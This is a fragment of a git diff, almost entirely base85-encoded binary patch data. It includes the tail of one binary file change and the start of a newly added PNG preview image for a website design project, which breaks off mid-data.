zsUdrXqqoO0K4$fMWtaH_ed*AAw$a*-`57D|QSFYK*XiCpxfF864mZLm$ag`;-{>WN zw8zU4=HfdxUYuQ=P0OTBnLy&XsdbuH)+!IzfK8JI^>FND-GuPa3`D9`E~9|90BHOn zG|??!(-ag`&<+RxdK~&1H2xJMnW~Tf9EO6`_!;^7q0;*^>j(r$7$*UjuP~v0xbSv?kmr=T3R7^Rd6>~SaAAxs}^tUe?c@aUFdhs z>wk95KxX^Hg}8K~#g(;WBPjI%2r->nW5`gZGa=nfj+s`|AKWo&g%lKuQFSr4J}8cteKJg-#s= zBlb8{Lj*j@F^CETLGSRV^ysUl4=fsF$qtKVQ26)lUaP5%3A(1kA?Jg62fTm$2T7mf*Z=?k literal 0 HcmV?d00001 diff --git a/website-design/previews/anim3-v3-t0.png b/website-design/previews/anim3-v3-t0.png new file mode 100644 index 0000000000000000000000000000000000000000..e21991b24d9b11c4fce951b33a3e247907372fc8 GIT binary patch literal 44997 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 